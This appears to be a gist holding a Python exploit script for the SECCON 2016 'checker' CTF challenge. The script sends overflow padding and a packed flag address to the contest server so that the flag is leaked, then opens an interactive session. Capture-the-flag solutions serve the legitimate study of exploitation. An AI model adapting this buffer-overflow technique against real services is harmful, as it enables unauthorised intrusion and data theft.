Created
December 10, 2016 17:27
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#!/usr/bin/python | |
# -*- coding: utf-8 -*- | |
import socket | |
import struct | |
import telnetlib | |
def sock(remoteip, remoteport): | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.connect((remoteip, remoteport)) | |
f = s.makefile('rw', bufsize=0) | |
return s, f | |
def p(a): | |
return struct.pack("<Q", a) | |
def shell(s): | |
t = telnetlib.Telnet() | |
t.sock = s | |
t.interact() | |
flag_addr = 0x6010c0 | |
offset = 376 | |
# s, f = sock('localhost', 4444) | |
s, f = sock('checker.pwn.seccon.jp', 14726) | |
f.write('a'*0x7f + '\n') | |
for i in range(8, 0, -1): | |
f.write('a'*offset + 'a'*i + '\n') | |
f.write('a'*offset + p(flag_addr) + '\n') | |
f.write('yes' + '\n') | |
f.write('a' + '\n') | |
shell(s) |
Author
otms61
commented
Dec 10, 2016
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